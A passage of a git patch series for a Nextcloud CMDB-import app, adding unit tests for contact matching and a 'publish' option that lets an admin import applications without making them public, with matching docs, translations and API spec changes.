array => array_diff_key($warning, ['message' => true]), $lookupWarnings) + ); + } finally { + unlink($path); + } + }//end testAMissingLookupSheetIsAWarning() + /** * A sheet within the row span still stops at the limit on non-empty rows. * diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index 390b6de65..70e9aec0b 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -514,18 +514,43 @@ public function schemaProperties(int $schema, bool $rbac, bool $multitenancy): a private function contactSync(): StackiqContactSyncService { $sync = $this->createMock(StackiqContactSyncService::class); $sync->method('isAvailable')->willReturnCallback(fn (): bool => $this->contactsEnabled); - $sync->method('searchContacts')->willReturnCallback( - function (string $query): array { + $sync->method('findContactForRecord')->willReturnCallback( + function (string $objectType, array $record): ?array { + foreach ($this->contacts as $uid => $contact) { + if (($record['email'] ?? '') !== '' && strcasecmp($contact['email'], $record['email']) === 0) { + return $this->searchResult(uid: $uid); + } + } + + return null; + } + ); + $sync->method('findContactsByDisplayName')->willReturnCallback( + function (string $displayName): array { $found = []; foreach ($this->contacts as $uid => $contact) { - if (str_contains(mb_strtolower($contact['name']), mb_strtolower($query)) === true) { - $found[] = ['uid' => $uid, 'name' => $contact['name'], 'email' => $contact['email']]; + if (mb_strtolower($contact['name']) === mb_strtolower($displayName)) { + $found[] = $this->searchResult(uid: $uid); } } return $found; } ); + $sync->method('completeContact')->willReturnCallback( + function (array $contact, array $channels): bool { + $uid = $contact['UID']; + $updated = false; + foreach (['EMAIL' => 'email', 'TEL' => 'phone'] as $property => $field) { + if (($channels[$property] ?? '') !== '' && ($this->contacts[$uid][$field] ?? '') === '') { + $this->contacts[$uid][$field] = $channels[$property]; + $updated = true; + } + } + + return $updated; + } + ); $sync->method('syncToContacts')->willThrowException(new \LogicException('owners go into the named address book, not the first writable one')); $sync->method('syncToNamedAddressBook')->willReturnCallback( function (string $objectType, array $record, string $addressBookUri, string $displayName): ?string { @@ -538,7 +563,11 @@ function (string $objectType, array $record, string $addressBookUri, string $dis } $uid = 'contact-' . (count($this->contacts) + 1); - $this->contacts[$uid] = ['name' => trim(($record['voornaam'] ?? '') . ' ' . ($record['achternaam'] ?? '')), 'email' => $email]; + $this->contacts[$uid] = [ + 'name' => trim(($record['voornaam'] ?? '') . ' ' . ($record['achternaam'] ?? '')), + 'email' => $email, + 'phone' => (string)($record['telefoonnummer'] ?? ''), + ]; return $uid; } ); @@ -546,6 +575,25 @@ function (string $objectType, array $record, string $addressBookUri, string $dis return $sync; }//end contactSync() + /** + * A fake contact as IManager::search() returns it. + * + * @param string $uid The contact UID. + * + * @return array + */ + private function searchResult(string $uid): array { + $contact = $this->contacts[$uid]; + return [ + 'UID' => $uid, + 'URI' => $uid . '.vcf', + 'addressbook-key' => '1', + 'FN' => $contact['name'], + 'EMAIL' => $contact['email'], + 'TEL' => ($contact['phone'] ?? ''), + ]; + }//end searchResult() + /** * A ProgressTracker on an in-memory distributed cache. * @@ -1207,6 +1255,25 @@ public function testAVendorIsOneSupplier(): void { $this->assertSame([1 => $fabfrikant, 2 => $fabfrikant, 3 => $fabfrikant, 4 => 'aangetekend'], $providers); }//end testAVendorIsOneSupplier() + /** + * A Vendor that is the municipality's own name is the municipality, also where a Supplier of that name exists. + * + * @return void + */ + public function testAVendorNamedAsTheMunicipalityIsTheMunicipality(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $this->seedOrganisation(uuid: 'supplier-twin', name: 'Gemeente Voorbeeldstad', type: 'Supplier'); + $rows = [ + $this->row(appId: '1', cells: ['Vendor' => 'Gemeente Voorbeeldstad'], row: 2), + $this->row(appId: '2', cells: ['Vendor' => 'gemeente voorbeeldstad'], row: 3), + ]; + + $this->service(reader: $this->rowsReader(rows: $rows))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $this->assertSame([1 => 'muni-1', 2 => 'muni-1'], array_column($this->objects(self::MODULE), 'provider', 'externalNumber')); + $this->assertCount(2, $this->objects(self::ORGANIZATION), 'no organisation is created'); + }//end testAVendorNamedAsTheMunicipalityIsTheMunicipality() + /** * updateExisting=false reports a match as skipped "exists" and writes nothing. * @@ -1403,7 +1470,11 @@ public function testTheOwnerBecomesTheBusinessOwner(): void { $municipality = $report['municipality']['uuid']; $this->assertEqualsCanonicalizing(['Voornaam Achternaam', 'Teamleider Applicatiebeheer'], array_column($this->contacts, 'name')); - $this->assertSame(['', ''], array_column($this->contacts, 'email'), 'the CMDB sheets carry no e-mail address'); + $this->assertSame( + ['Voornaam Achternaam' => 'letter.achternaam@gemeente.nl', 'Teamleider Applicatiebeheer' => ''], + array_column($this->contacts, 'email', 'name'), + 'the e-mail address comes from the Invoer sheet row with the same Middel-ID; the Beheerde row\'s Invoer row has none' + ); $this->assertSame(['stackiq-cmdb-owners' => 'Stackiq CMDB owners'], $this->addressBooks, 'new owner contacts go into the dedicated address book only'); $people = $this->objects(self::CONTACT_PERSON); @@ -1459,6 +1530,50 @@ public function testAnOwnerByNameIsMatchedExactly(): void { $this->assertSame($people[0]['id'], $this->objects(self::USAGE)[0]['businessOwner']); }//end testAnOwnerByNameIsMatchedExactly() + /** + * An owner whose contact was made without an e-mail address or phone number gets both, in the same contact. + * + * @return void + */ + public function testAnOwnerKnownByNameGetsTheEmailAndPhoneItLacks(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $this->contacts['contact-old'] = ['name' => 'Voornaam Achternaam', 'email' => '', 'phone' => '']; + $owner = [ + 'Applicatie Eigenaar (Persoon)' => 'Achternaam, Voornaam', + 'Eigenaar e-mail' => 'letter.achternaam@gemeente.nl', + 'Eigenaar mobiel nummer' => '0612345678', + ]; + + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1', cells: $owner)]))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $this->assertSame( + ['contact-old' => ['name' => 'Voornaam Achternaam', 'email' => 'letter.achternaam@gemeente.nl', 'phone' => '0612345678']], + $this->contacts + ); + $this->assertSame('contact-old', $this->objects(self::CONTACT_PERSON)[0]['contactsUid']); + + $stored = json_encode([$this->objects(self::CONTACT_PERSON), $this->objects(self::USAGE), $this->objects(self::MODULE)]); + $this->assertStringNotContainsString('letter.achternaam', (string)$stored, 'the e-mail address lives in Contacts only'); + $this->assertStringNotContainsString('0612345678', (string)$stored, 'the phone number lives in Contacts only'); + }//end testAnOwnerKnownByNameGetsTheEmailAndPhoneItLacks() + + /** + * A contact with the owner's name but another e-mail address is someone else; an address it has is never replaced. + * + * @return void + */ + public function testANamesakeWithAnotherEmailIsNotTaken(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $this->contacts['contact-namesake'] = ['name' => 'Voornaam Achternaam', 'email' => 'iemand.anders@example.org', 'phone' => '']; + $owner = ['Applicatie Eigenaar (Persoon)' => 'Achternaam, Voornaam', 'Eigenaar e-mail' => 'letter.achternaam@gemeente.nl']; + + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1', cells: $owner)]))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $this->assertCount(2, $this->contacts); + $this->assertSame('iemand.anders@example.org', $this->contacts['contact-namesake']['email']); + $this->assertNotSame('contact-namesake', $this->objects(self::CONTACT_PERSON)[0]['contactsUid']); + }//end testANamesakeWithAnotherEmailIsNotTaken() + /** * No technical owner is written, whatever the row holds. * From 96b05be56d61dda7783138b285e87e9077e220c7 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 12:56:32 +0200 Subject: [PATCH 137/176] feat(cmdb-import): let the admin import applications without publishing them Every module the import created got a publicationDate, so it was readable by anonymous visitors of OpenCatalogi the moment the import finished, whether or not the municipality meant to publish its application list. A new form field `publish` (default true, parsed like updateExisting, anything but true/false/1/0 is 400 FIELD_INVALID) decides it. With false, created modules get no publicationDate and the report summary counts them in `unpublished`; updates never touch publicationDate either way. The section has a switch "Publish the applications this import creates", on by default, whose help text says a published application is visible to anyone, and shows the count in the summary. REQ-CMDB-007 is renamed to say the publication date depends on the choice; the spec references to it follow. Co-Authored-By: Claude Opus 5.5 --- docs/features/cmdb-import.md | 23 ++++-- l10n/en.js | 5 +- l10n/en.json | 5 +- l10n/nl.js | 5 +- l10n/nl.json | 5 +- lib/Controller/CmdbImportController.php | 9 ++- lib/Service/Cmdb/CmdbImportReport.php | 25 ++++++- lib/Service/CmdbExportImportService.php | 74 +++++++++++++----- openapi.json | 18 ++++- .../changes/cmdb-export-import/contract.md | 9 ++- .../specs/cmdb-export-import/spec.md | 24 +++++- openspec/changes/cmdb-export-import/tasks.md | 3 +- .../changes/cmdb-export-import/test-plan.md | 4 +- postman/stackiq-tests.json | 75 +++++++++++++++++++ src/utils/cmdbImport.js | 4 + src/utils/cmdbImport.spec.js | 16 ++++ src/views/settings/sections/CmdbImport.vue | 25 ++++++- .../Controller/CmdbImportControllerTest.php | 41 ++++++++++ .../Service/CmdbExportImportServiceTest.php | 47 ++++++++++-- 19 files changed, 369 insertions(+), 48 deletions(-) diff --git a/docs/features/cmdb-import.md b/docs/features/cmdb-import.md index 165641ab4..bf8055f47 100644 --- a/docs/features/cmdb-import.md +++ b/docs/features/cmdb-import.md @@ -40,7 +40,8 @@ catalogue that includes the register `stackiq` and the schema `module`. In OpenCatalogi, open the catalogue that should show the municipality's applications and add that register and schema. A newly imported module gets a publication date (the moment the import started), so it is listed from then -on. +on, unless you turn off **Publish the applications this import creates** +(see the steps below). **Portaliq ("Software we use").** Portaliq shows an application to a municipality through a usage whose consumer is that municipality. The portal @@ -65,7 +66,14 @@ page in stackiq. applications that are new for this municipality; rows that match an existing application are then reported as *skipped* with reason `exists` and nothing about them changes. -5. Press **Import**. A progress bar shows how many rows have been processed. +5. **Publish the applications this import creates.** On by default. A + published application is visible to anyone, including anonymous visitors + of OpenCatalogi. Turn it off to create the new applications without a + publication date; they stay unpublished until you publish them by hand, + and the summary counts them as *created unpublished*. Applications that + were imported before keep their publication as it is, whichever you + choose. +6. Press **Import**. A progress bar shows how many rows have been processed. **Cancel import** stops the import before the next row; rows that were already processed stay imported. The section says whether the server accepted the cancel; one pressed before the server has started on the @@ -79,7 +87,8 @@ finished. When the import finishes, the section shows: - the **summary**: rows read, created, updated, unchanged, skipped, failed - and warnings; + and warnings, and, when publishing was off, how many applications were + created unpublished; - **warnings for the whole file**, for example an optional column that is missing; - the **rows** table: sheet, row number, APPID, application, outcome, @@ -174,8 +183,10 @@ Applicatienummer) stays the same when TOPdesk changes the Applicatie Code (Middel-ID). Two municipalities can each have an APPID `101` without colliding. -- **New APPID**: a module and a usage are created. The module gets a - publication date (the moment the import started), so OpenCatalogi lists it. +- **New APPID**: a module and a usage are created. With **Publish the + applications this import creates** on, the module gets a publication date + (the moment the import started), so OpenCatalogi lists it; with it off, + the module has no publication date and is not public. - **Known APPID, values changed**: only the fields in the column table are updated. Everything else on the module stays as it is, for example a website an administrator added. The publication date and the depublication @@ -252,7 +263,7 @@ and the section shows the reason and the error code. | `WORKBOOK_TOO_LARGE` | Unpacked, the workbook is larger than the import reads (50 MB by default). An `.xlsx` is a compressed package, so a small file can unpack to far more. The message names the limit. | Remove sheets the import does not read, such as the archive sheet, or split the export. | | `MUNICIPALITY_AMBIGUOUS` | More than one municipality has the typed name. The import does not guess which one. | Pick the municipality from the list instead of typing its name. | | `IMPORT_IN_PROGRESS` | Another CMDB import is running. Only one import runs at a time. | Wait until it has finished and try again. | -| `FIELD_INVALID` | A form field of the request has a value the import does not accept, for example an `updateExisting` that is neither `true` nor `false`. The message names the field. | Not reachable from the section; reported for API callers. | +| `FIELD_INVALID` | A form field of the request has a value the import does not accept, for example an `updateExisting` or `publish` that is neither `true` nor `false`. The message names the field. | Not reachable from the section; reported for API callers. | | `UPLOAD_FAILED` | The file reached the server but could not be stored there. | Try again; the Nextcloud log has the details. | | `MISSING_RECORDS_UNSUPPORTED` | The request asked to mark or remove records missing from the export. Only keeping them is supported. | Not reachable from the section; reported for API callers. | | `MAPPING_UNAVAILABLE` | OpenRegister's mapping engine is missing, or one of the mapping files is invalid. | Update OpenRegister. If you changed a mapping file, check it against the Nextcloud log. | diff --git a/l10n/en.js b/l10n/en.js index d45235e1e..04ecd1250 100644 --- a/l10n/en.js +++ b/l10n/en.js @@ -1120,7 +1120,10 @@ OC.L10N.register( "Only one import runs at a time. Wait until it has finished and try again. Nothing was imported.": "Only one import runs at a time. Wait until it has finished and try again. Nothing was imported.", "{count} municipalities have this name.": "{count} municipalities have this name.", "Several municipalities have this name.": "Several municipalities have this name.", - "Choose the municipality from the list instead of typing its name. Nothing was imported.": "Choose the municipality from the list instead of typing its name. Nothing was imported." + "Choose the municipality from the list instead of typing its name. Nothing was imported.": "Choose the municipality from the list instead of typing its name. Nothing was imported.", + "Publish the applications this import creates": "Publish the applications this import creates", + "A published application is visible to anyone, including anonymous visitors of OpenCatalogi. When off, the applications this import creates stay unpublished until you publish them by hand. Applications imported before keep their publication as it is.": "A published application is visible to anyone, including anonymous visitors of OpenCatalogi. When off, the applications this import creates stay unpublished until you publish them by hand. Applications imported before keep their publication as it is.", + "Created unpublished": "Created unpublished" }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/en.json b/l10n/en.json index cd66a19fc..aa3a742f9 100644 --- a/l10n/en.json +++ b/l10n/en.json @@ -1119,6 +1119,9 @@ "Only one import runs at a time. Wait until it has finished and try again. Nothing was imported.": "Only one import runs at a time. Wait until it has finished and try again. Nothing was imported.", "{count} municipalities have this name.": "{count} municipalities have this name.", "Several municipalities have this name.": "Several municipalities have this name.", - "Choose the municipality from the list instead of typing its name. Nothing was imported.": "Choose the municipality from the list instead of typing its name. Nothing was imported." + "Choose the municipality from the list instead of typing its name. Nothing was imported.": "Choose the municipality from the list instead of typing its name. Nothing was imported.", + "Publish the applications this import creates": "Publish the applications this import creates", + "A published application is visible to anyone, including anonymous visitors of OpenCatalogi. When off, the applications this import creates stay unpublished until you publish them by hand. Applications imported before keep their publication as it is.": "A published application is visible to anyone, including anonymous visitors of OpenCatalogi. When off, the applications this import creates stay unpublished until you publish them by hand. Applications imported before keep their publication as it is.", + "Created unpublished": "Created unpublished" } } diff --git a/l10n/nl.js b/l10n/nl.js index a43b9f0d7..6ec03e80a 100644 --- a/l10n/nl.js +++ b/l10n/nl.js @@ -1190,7 +1190,10 @@ OC.L10N.register( "Only one import runs at a time. Wait until it has finished and try again. Nothing was imported.": "Er loopt maar één import tegelijk. Wacht tot die klaar is en probeer het opnieuw. Er is niets geïmporteerd.", "{count} municipalities have this name.": "{count} gemeenten hebben deze naam.", "Several municipalities have this name.": "Meerdere gemeenten hebben deze naam.", - "Choose the municipality from the list instead of typing its name. Nothing was imported.": "Kies de gemeente uit de lijst in plaats van de naam te typen. Er is niets geïmporteerd." + "Choose the municipality from the list instead of typing its name. Nothing was imported.": "Kies de gemeente uit de lijst in plaats van de naam te typen. Er is niets geïmporteerd.", + "Publish the applications this import creates": "De applicaties die deze import aanmaakt publiceren", + "A published application is visible to anyone, including anonymous visitors of OpenCatalogi. When off, the applications this import creates stay unpublished until you publish them by hand. Applications imported before keep their publication as it is.": "Een gepubliceerde applicatie is voor iedereen zichtbaar, ook voor anonieme bezoekers van OpenCatalogi. Staat dit uit, dan blijven de applicaties die deze import aanmaakt ongepubliceerd tot u ze zelf publiceert. Eerder geïmporteerde applicaties houden hun publicatie zoals die is.", + "Created unpublished": "Ongepubliceerd aangemaakt" }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/nl.json b/l10n/nl.json index beb5b8f1c..4423bae60 100644 --- a/l10n/nl.json +++ b/l10n/nl.json @@ -1189,6 +1189,9 @@ "Only one import runs at a time. Wait until it has finished and try again. Nothing was imported.": "Er loopt maar één import tegelijk. Wacht tot die klaar is en probeer het opnieuw. Er is niets geïmporteerd.", "{count} municipalities have this name.": "{count} gemeenten hebben deze naam.", "Several municipalities have this name.": "Meerdere gemeenten hebben deze naam.", - "Choose the municipality from the list instead of typing its name. Nothing was imported.": "Kies de gemeente uit de lijst in plaats van de naam te typen. Er is niets geïmporteerd." + "Choose the municipality from the list instead of typing its name. Nothing was imported.": "Kies de gemeente uit de lijst in plaats van de naam te typen. Er is niets geïmporteerd.", + "Publish the applications this import creates": "De applicaties die deze import aanmaakt publiceren", + "A published application is visible to anyone, including anonymous visitors of OpenCatalogi. When off, the applications this import creates stay unpublished until you publish them by hand. Applications imported before keep their publication as it is.": "Een gepubliceerde applicatie is voor iedereen zichtbaar, ook voor anonieme bezoekers van OpenCatalogi. Staat dit uit, dan blijven de applicaties die deze import aanmaakt ongepubliceerd tot u ze zelf publiceert. Eerder geïmporteerde applicaties houden hun publicatie zoals die is.", + "Created unpublished": "Ongepubliceerd aangemaakt" } } diff --git a/lib/Controller/CmdbImportController.php b/lib/Controller/CmdbImportController.php index 779fb4e34..b5ea8ead4 100644 --- a/lib/Controller/CmdbImportController.php +++ b/lib/Controller/CmdbImportController.php @@ -87,7 +87,7 @@ public function __construct( * Import a TOPdesk CMDB export for one municipality. * * Multipart fields: `cmdbFile`, `municipalityUuid` or `municipalityName`, - * `updateExisting` (default true), `missingRecords` (only `keep`) and + * `updateExisting` (default true), `publish` (default true), `missingRecords` (only `keep`) and * `operationId` (pattern `cmdb-` plus 8 to 64 letters, digits or hyphens). * * @AuthorizedAdminSetting(settings=OCA\Stackiq\Settings\StackiqAdmin) @@ -241,6 +241,12 @@ private function readOptions(string $path, string $fileName): array|JSONResponse return $this->invalidField(field: 'updateExisting', accepted: ['true', 'false']); } + // Read like updateExisting: a typo must not publish what the admin chose to keep unpublished. + $publish = $this->booleanParam(name: 'publish', default: true); + if ($publish === null) { + return $this->invalidField(field: 'publish', accepted: ['true', 'false']); + } + $municipalityUuid = $this->stringParam(name: 'municipalityUuid', default: ''); $municipalityName = $this->stringParam(name: 'municipalityName', default: ''); if ($municipalityUuid === null) { @@ -263,6 +269,7 @@ private function readOptions(string $path, string $fileName): array|JSONResponse 'municipalityUuid' => $municipalityUuid, 'municipalityName' => $municipalityName, 'updateExisting' => $updateExisting, + 'publish' => $publish, 'operationId' => $this->request->getParam('operationId'), 'fileName' => basename(str_replace('\\', '/', $fileName)), ], diff --git a/lib/Service/Cmdb/CmdbImportReport.php b/lib/Service/Cmdb/CmdbImportReport.php index 8509b5e82..730365fde 100644 --- a/lib/Service/Cmdb/CmdbImportReport.php +++ b/lib/Service/Cmdb/CmdbImportReport.php @@ -65,6 +65,13 @@ class CmdbImportReport { */ private ?array $municipality = null; + /** + * Modules this run created without a publication date. + * + * @var int + */ + private int $unpublished = 0; + /** * Constructor. * @@ -150,6 +157,17 @@ public function setMunicipality(string $uuid, string $name, bool $created): void $this->municipality = ['uuid' => $uuid, 'name' => $name, 'created' => $created]; }//end setMunicipality() + /** + * Count a module this run created without publishing it. + * + * @return void + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + public function countUnpublished(): void { + $this->unpublished++; + }//end countUnpublished() + /** * Mark the run as stopped on a cancel. * @@ -175,7 +193,11 @@ public function processed(): int { /** * The summary counts. * - * @return array{rowsRead: int, processed: int, created: int, updated: int, unchanged: int, skipped: int, failed: int, warnings: int} + * `unpublished` counts the modules created without a publication date; + * a row whose module was created but whose usage then failed counts too. + * + * @return array{rowsRead: int, processed: int, created: int, updated: int, unchanged: int, skipped: int, failed: int, + * warnings: int, unpublished: int} * * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 */ @@ -189,6 +211,7 @@ public function summary(): array { self::SKIPPED => 0, self::FAILED => 0, 'warnings' => 0, + 'unpublished' => $this->unpublished, ]; foreach ($this->rows as $row) { diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php index 4f9f8191f..0c78ff2c9 100644 --- a/lib/Service/CmdbExportImportService.php +++ b/lib/Service/CmdbExportImportService.php @@ -25,8 +25,9 @@ * supplier on its normalised name and type Supplier; a contact person on * (contactsUid, organization). An organisation that was merged away * (status `merged`) or is `Inactive` is never matched by name. - * - `publicationDate` is set to the import's start on create and never - * written on update; neither is `depublicationDate`. + * - `publicationDate` is set to the import's start on create, unless the + * admin chose not to publish (`publish` false), and never written on + * update; neither is `depublicationDate`. * - Records missing from a newer export are left untouched. * - Owners become contact persons, never Nextcloud user accounts, and no * report entry or log line carries an owner name or e-mail address. @@ -322,8 +323,8 @@ public function requestCancel(string $operationId): bool { * before the file is read until it returns or throws. * * @param string $path The xlsx file, already checked by assertXlsx(). - * @param array $options municipalityUuid, municipalityName, updateExisting, operationId, - * and fileName (the upload's name, for the audit log line). + * @param array $options municipalityUuid, municipalityName, updateExisting, publish, + * operationId, and fileName (the upload's name, for the audit log line). * * @return array The report (contract.md). * @@ -449,6 +450,11 @@ private function runImport(string $path, array $options, string $startedAt): arr $this->winningSheets = $this->winningSheets(rows: $rows); $updateExisting = (($options['updateExisting'] ?? true) !== false); + $publish = (($options['publish'] ?? true) !== false); + $publicationDate = null; + if ($publish === true) { + $publicationDate = $startedAt; + } $audit = [ 'operationId' => $operationId, 'uid' => $this->userSession->getUser()?->getUID(), @@ -456,6 +462,7 @@ private function runImport(string $path, array $options, string $startedAt): arr 'municipality' => $municipality['uuid'], 'municipalityCreated' => $municipality['created'], 'updateExisting' => $updateExisting, + 'publish' => $publish, ]; $this->logger->info('CmdbExportImportService: import started', array_merge($audit, ['rows' => count($rows)])); try { @@ -468,8 +475,7 @@ private function runImport(string $path, array $options, string $startedAt): arr $this->processRow( row: $row, municipalityUuid: $municipality['uuid'], - updateExisting: $updateExisting, - startedAt: $startedAt, + options: ['updateExisting' => $updateExisting, 'publicationDate' => $publicationDate], date1904: $workbook['date1904'], report: $report ); @@ -498,8 +504,8 @@ private function runImport(string $path, array $options, string $startedAt): arr * * @param array{sheet: string, row: int, cells: array, uncached?: array} $row The reader row. * @param string $municipalityUuid The consumer. - * @param bool $updateExisting Whether matched rows are updated. - * @param string $startedAt ISO start time of the import. + * @param array{updateExisting: bool, publicationDate: string|null} $options Whether matched rows are updated, and the + * publicationDate of a created module (null: unpublished). * @param bool $date1904 The workbook's date system. * @param CmdbImportReport $report The report. * @@ -510,8 +516,7 @@ private function runImport(string $path, array $options, string $startedAt): arr private function processRow( array $row, string $municipalityUuid, - bool $updateExisting, - string $startedAt, + array $options, bool $date1904, CmdbImportReport $report, ): void { @@ -564,13 +569,12 @@ private function processRow( $providerUuid = $this->resolveManufacturer(values: $values, rowNumber: $rowNumber); $step = 'module'; - $externalKey = $this->profile->externalKeyPrefix() . ':' . $municipalityUuid . ':' . $matchKey; - $moduleResult = $this->upsertModule( + $moduleResult = $this->importModule( data: $module['data'], - externalKey: $externalKey, + externalKey: $this->profile->externalKeyPrefix() . ':' . $municipalityUuid . ':' . $matchKey, providerUuid: $providerUuid, - startedAt: $startedAt, - updateExisting: $updateExisting + options: $options, + report: $report ); $moduleUuid = $moduleResult['uuid']; if ($moduleResult['outcome'] === 'exists') { @@ -940,20 +944,50 @@ private function resolveManufacturer(array $values, int $rowNumber): ?string { return $uuid; }//end resolveManufacturer() + /** + * Upsert the row's module, and count it when it was created unpublished. + * + * @param array $data The mapped module fields. + * @param string $externalKey The match key. + * @param string|null $providerUuid The supplier, when there is one. + * @param array{updateExisting: bool, publicationDate: string|null} $options The run's choices. + * @param CmdbImportReport $report The report. + * + * @return array{uuid: string, outcome: string} The outcome of upsertModule(). + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + private function importModule(array $data, string $externalKey, ?string $providerUuid, array $options, CmdbImportReport $report): array { + $result = $this->upsertModule( + data: $data, + externalKey: $externalKey, + providerUuid: $providerUuid, + publicationDate: $options['publicationDate'], + updateExisting: $options['updateExisting'] + ); + + if ($result['outcome'] === CmdbImportReport::CREATED && $options['publicationDate'] === null) { + $report->countUnpublished(); + } + + return $result; + }//end importModule() + /** * Create, update, or leave the module matched on its external key. * * @param array $data The mapped module fields. * @param string $externalKey The match key. * @param string|null $providerUuid The supplier, when there is one. - * @param string $startedAt ISO start time of the import. + * @param string|null $publicationDate ISO start time of the import for a module that is published + * when created, or null to create it unpublished. * @param bool $updateExisting Whether a match is updated. * * @return array{uuid: string, outcome: string} Outcome created, updated, unchanged or exists. * * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 */ - private function upsertModule(array $data, string $externalKey, ?string $providerUuid, string $startedAt, bool $updateExisting): array { + private function upsertModule(array $data, string $externalKey, ?string $providerUuid, ?string $publicationDate, bool $updateExisting): array { $data['externalKey'] = $externalKey; if ($providerUuid !== null) { $data['provider'] = $providerUuid; @@ -962,7 +996,11 @@ private function upsertModule(array $data, string $externalKey, ?string $provide $existing = $this->findOne(schemaKey: 'module', filters: ['externalKey' => $externalKey]); if ($existing === null) { $create = array_merge($this->profile->createOnlyDefaults(target: 'module'), $data); - $create['publicationDate'] = $startedAt; + unset($create['publicationDate']); + if ($publicationDate !== null) { + $create['publicationDate'] = $publicationDate; + } + return ['uuid' => $this->save(schemaKey: 'module', data: $create, uuid: null), 'outcome' => CmdbImportReport::CREATED]; } diff --git a/openapi.json b/openapi.json index aef86ed5d..60c2487bd 100644 --- a/openapi.json +++ b/openapi.json @@ -50,6 +50,15 @@ "default": "true", "description": "false reports matched rows as skipped (exists). 1 and 0 are accepted too, trimmed and in any case; any other value is refused with 400 FIELD_INVALID" }, + "publish": { + "type": "string", + "enum": [ + "true", + "false" + ], + "default": "true", + "description": "true gives every module the import creates a publicationDate (the import's start), so it is public, also to anonymous visitors; false creates them without one, for publication by hand. An update never changes publicationDate either way. 1 and 0 are accepted too, trimmed and in any case; any other value is refused with 400 FIELD_INVALID" + }, "missingRecords": { "type": "string", "enum": [ @@ -80,7 +89,7 @@ } }, "400": { - "description": "NO_FILE_UPLOADED, NOT_XLSX, or FIELD_INVALID (updateExisting not true/false/1/0, or a text field sent as an array; details.field names it)", + "description": "NO_FILE_UPLOADED, NOT_XLSX, or FIELD_INVALID (updateExisting or publish not true/false/1/0, or a text field sent as an array; details.field names it)", "content": { "application/json": { "schema": { @@ -480,7 +489,8 @@ "unchanged", "skipped", "failed", - "warnings" + "warnings", + "unpublished" ], "properties": { "rowsRead": { @@ -506,6 +516,10 @@ }, "warnings": { "type": "integer" + }, + "unpublished": { + "type": "integer", + "description": "Modules this import created without a publicationDate (publish=false); 0 when publish is true" } } }, diff --git a/openspec/changes/cmdb-export-import/contract.md b/openspec/changes/cmdb-export-import/contract.md index 846bc3990..5cd836afd 100644 --- a/openspec/changes/cmdb-export-import/contract.md +++ b/openspec/changes/cmdb-export-import/contract.md @@ -3,7 +3,7 @@ ## Consumers - `stackiq` frontend: the "CMDB import" admin-settings section (`src/views/settings/sections/CmdbImport.vue`) is the only caller of the two new endpoints. -- `opencatalogi` and `portaliq` call no new endpoint. They read the objects the import writes through their existing OpenRegister paths. Their interface is the data shape below: `module.publicationDate` for OpenCatalogi, and `usage.consumer` / `usage.module` for Portaliq. Neither gets owner data anonymously: `usage` and `contactPerson` have no public read rule, and a public `module` refers to them by id only. +- `opencatalogi` and `portaliq` call no new endpoint. They read the objects the import writes through their existing OpenRegister paths. Their interface is the data shape below: `module.publicationDate` for OpenCatalogi (set on create only when the request has `publish=true`, the default), and `usage.consumer` / `usage.module` for Portaliq. Neither gets owner data anonymously: `usage` and `contactPerson` have no public read rule, and a public `module` refers to them by id only. Paths are relative to `/index.php/apps/stackiq`. @@ -20,6 +20,7 @@ Paths are relative to `/index.php/apps/stackiq`. | `municipalityUuid` | string (uuid) | one of the two | | an existing `organization` of type Municipality | | `municipalityName` | string | one of the two | | name of a Municipality to reuse (same normalised name) or create | | `updateExisting` | `true`/`false` | no | `true` | `false` reports matched rows as skipped (`exists`). `1`/`0` are accepted too, trimmed and in any case; any other value is refused with 400 `FIELD_INVALID` | +| `publish` | `true`/`false` | no | `true` | `true` gives every module the import creates `publicationDate` = the import's start, so it is public, also to anonymous visitors of OpenCatalogi; `false` creates them without a `publicationDate`, for publication by hand. An update never changes `publicationDate` or `depublicationDate`, whatever the value. Parsed like `updateExisting`: `1`/`0` are accepted too, any other value is refused with 400 `FIELD_INVALID` | | `missingRecords` | string | no | `keep` | only `keep` is accepted; `mark` and `remove` are reserved | | `operationId` | string | no | generated | progress operation id, readable through `GET /api/progress/{operationId}`; `cmdb-` followed by 8 to 64 letters, digits or hyphens (for example `cmdb-` plus a uuid v4). Any other value, and the id of a `cmdb_import` that is still running, is replaced by a generated id, returned as `operationId` | @@ -30,7 +31,7 @@ Paths are relative to `/index.php/apps/stackiq`. "operationId": "cmdb-00000000-0000-0000-0000-000000000000", "cancelled": false, "municipality": { "uuid": "00000000-0000-0000-0000-000000000001", "name": "Gemeente Voorbeeldstad", "created": false }, - "summary": { "rowsRead": 2, "processed": 2, "created": 2, "updated": 0, "unchanged": 0, "skipped": 0, "failed": 0, "warnings": 1 }, + "summary": { "rowsRead": 2, "processed": 2, "created": 2, "updated": 0, "unchanged": 0, "skipped": 0, "failed": 0, "warnings": 1, "unpublished": 0 }, "importWarnings": [], "rows": [ { @@ -48,7 +49,7 @@ Paths are relative to `/index.php/apps/stackiq`. } ``` -`appId` is the row's APPID, the match key (`''` when the row has none). `outcome` is one of `created`, `updated`, `unchanged`, `skipped`, `failed`. `reasons` and `warnings` are translated strings that name columns and values; a formula cell without a cached value gives the warning `Column "": formula without a cached value, read as empty`. They never contain owner names, e-mail addresses or other person data. `summary.rowsRead` counts the non-empty rows in the workbook; `summary.processed` counts the rows in `rows`, which is lower than `rowsRead` only after a cancel. `summary.warnings` counts row 